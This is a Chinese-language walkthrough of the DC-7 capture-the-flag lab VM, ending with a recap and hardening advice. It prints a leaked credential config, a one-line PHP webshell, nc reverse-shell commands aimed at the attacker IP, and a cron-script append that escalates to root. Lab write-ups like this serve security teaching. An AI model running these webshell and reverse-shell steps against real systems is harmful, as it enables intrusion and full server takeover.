DC7靶机的渗透测试与复盘
2026/7/23 18:47:34 网站建设 项目流程

DC7靶机的渗透测试与复盘

一、环境准备

下载DC7靶机,导入VM,设置为NAT模式,Kali也设置为NAT模式。
靶机IP:192.168.123.128
攻击机IP:192.168.123.139

二、信息收集

用nmap扫描靶机开放端口:

nmap -A -p- 192.168.123.128

发现开放了两个端口:22(SSH)和80(HTTP),80端口是 Apache 2.4.25,上面跑的是Drupal 8CMS。

访问http://192.168.123.128/,浏览页面,在页面底部发现了一个用户名@DC7USER

三、OSINT开源情报收集(关键突破口)

常规的目录扫描和漏洞利用都没戏,根据DC7页面的信息提示,说明这时候需要跳出框框思考。

@DC7USER这个用户名放在这个位置这么突兀一定有什么作用,像是GitHub 上的账号,去 GitHub 搜索Dc7User,找到了一个公开仓库叫staffdb

在仓库里发现了config.php文件,里面有数据库连接信息:

<?php$servername="localhost";$username="dc7user";$password="MdR3xOgB7#dW";$dbname="Staff";$conn=mysqli_connect($servername,$username,$password,$dbname);?>

四、SSH登录

数据库密码虽然是从 GitHub 泄露的,但数据库在 localhost 连不上。想到 nmap 还扫到了 SSH 端口,试试密码复用:

ssh dc7user@192.168.123.128

输入密码MdR3xOgB7#dW,成功登录!

五、主机信息枚举

查看家目录,发现两个东西:

dc7user@dc-7:~$ ls backups mbox

查看mbox邮件文件,发现是root 通过 cron 定时执行/opt/scripts/backups.sh备份脚本的日志。

查看备份脚本:

#!/bin/bashrm/home/dc7user/backups/*cd/var/www/html/ drush sql-dump --result-file=/home/dc7user/backups/website.sqlcd..tar-czf/home/dc7user/backups/website.tar.gz html/ gpg --pinentry-mode loopback--passphrasePickYourOwnPassword--symmetric/home/dc7user/backups/website.sql gpg --pinentry-mode loopback--passphrasePickYourOwnPassword--symmetric/home/dc7user/backups/website.tar.gzchowndc7user:dc7user /home/dc7user/backups/*rm/home/dc7user/backups/website.sqlrm/home/dc7user/backups/website.tar.gz

关键发现:

  • 脚本属组为www-data,组权限有rwx(可写)
  • root 通过 cron 定时以 root 身份执行此脚本
  • 脚本中使用了drush(Drupal命令行工具)

查看文件权限确认:

dc7user@dc-7:~$ ls -la /opt/scripts/ total 12 drwxr-xr-x 2 root www-data 4096 Aug 29 2019 . drwxr-xr-x 3 root root 4096 Aug 29 2019 .. -rwxrwxr-x 1 root www-data 520 Aug 29 2019 backups.sh

六、获取Drupal管理员权限

为什么要登录Drupal后台?因为当前 dc7user 用户不在 www-data 组中,无法直接修改/opt/scripts/backups.sh。需要先获得www-data 权限,而通过 Drupal Web 应用执行的 PHP 代码就是 www-data 身份。所以要先拿到 Drupal 后台管理员权限。

在 mbox 邮件中看到 root 的 cron 任务使用了drush命令,说明系统安装了 Drupal 的命令行工具。dc7user 也能执行 drush,直接用它修改 admin 密码是最快的方式:

cd /var/www/html/ drush user-password admin --password="123456"

用新密码登录 Drupal 后台http://192.168.123.128/user/login

七、获得 www-data Shell

在后台Manage → Extend → Install new module,通过 URL 安装 PHP Filter 模块。PHP Filter 是 Drupal 官方提供的模块,用于在文章内容中执行 PHP 代码(Drupal 8 默认已移除该功能,需要手动安装)。从 Drupal 官网的模块仓库https://ftp.drupal.org/files/projects/可以获取到该模块的下载链接:

https://ftp.drupal.org/files/projects/php-8.x-1.1.tar.gz


安装后启用该模块,然后新建内容(Basic page),在 Text format 选择PHP code,写入 webshell:

<?phpsystem($_GET['cmd']);?>

攻击机监听:

nc -lvnp 4444

访问该页面执行反弹shell命令:

http://192.168.123.128/node/4?cmd=nc 192.168.123.139 4444 -e /bin/bash

成功获得www-data权限的 shell!

八、权限提升(提权至root)

刚才已经知道/opt/scripts/backups.sh的属组是www-data,组权限可写,root 的 cron 会定时执行它。

在 www-data 的 shell 中往脚本追加反弹命令:

echo "nc 192.168.123.139 5555 -e /bin/bash" >> /opt/scripts/backups.sh

攻击机开启另一个监听:

nc -lvnp 5555

等待一会,cron 任务以 root 身份执行了脚本,成功弹回root 权限的 shell!!!

┌──(kali㉿kali)-[~] └─$ nc -lvnp 5555 listening on [any] 5555 ... connect to [192.168.123.139] from (UNKNOWN) [192.168.123.128] 53638 whoami root

九、渗透复盘

完整攻击链

信息收集(nmap)→ 页面发现 @DC7USER ↓ GitHub OSINT → 配置文件泄露 SSH 凭据 ↓ SSH 登录(dc7user) ↓ 发现 mbox → root cron 执行 backups.sh(www-data 可写) ↓ drush 修改 Drupal 管理员密码 → 登录后台 ↓ 安装 PHP Filter 模块 → 植入 webshell → 反弹 www-data shell ↓ 修改 backups.sh 添加反弹命令 → 等待 cron 执行 → 获得 root shell

核心知识点

  1. OSINT(开源情报)— 页面底部的@DC7USER是突破口,GitHub 上搜索公开仓库找到了数据库密码
  2. 密码复用— GitHub 泄露的密码可以直接用于 SSH 登录
  3. drush 工具— Drupal 的命令行管理工具,可以修改管理员密码
  4. cron 提权— root 定时执行的脚本如果被低权限用户可写,就能提权
  5. www-data 组权限— 脚本属组为 www-data 且可写,只要获得 www-data 的 shell 就能修改它

经验总结

DC7 最大的特点是不能纯靠技术扫描和漏洞利用,需要跳出框框思考。常规的 Drupal 漏洞利用在这个版本上都不好使,真正的突破口是社工思维——发现页面底部的用户名、去 GitHub 搜索、找到泄露的凭据。整体难度中等,但思路很新颖,考验的是渗透测试中的信息搜集能力和创造性思维。

安全修复建议

  1. 🔑 禁止敏感信息上传到公开仓库— GitHub 上泄露数据库密码是本靶机的起点。应该在.gitignore中排除config.php等配置文件,或使用环境变量管理敏感信息。

  2. 🔐 密码隔离— 数据库密码、SSH 密码、后台密码不要复用。一旦某个环节泄露,攻击者就会尝试密码复用横向移动。

  3. 📂 最小权限原则/opt/scripts/backups.sh属组为www-data且可写,这非常危险。脚本应该仅属 root 且权限为 700(chmod 700),不允许其他用户或组有任何权限。

  4. ⏰ cron 脚本加固— root 执行的脚本中命令要写绝对路径(如/usr/local/bin/drush而非drush),避免 PATH 劫持风险。

  5. 🌐 Drupal 安全配置— 移除 PHP Filter 模块或严格限制使用权限;及时更新 Drupal 版本;后台地址不要使用默认路径/user/login

  6. 📧 邮件信息保护mbox文件暴露了系统定时任务路径,应限制邮件日志的访问权限,或定向到 root 用户独有目录。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询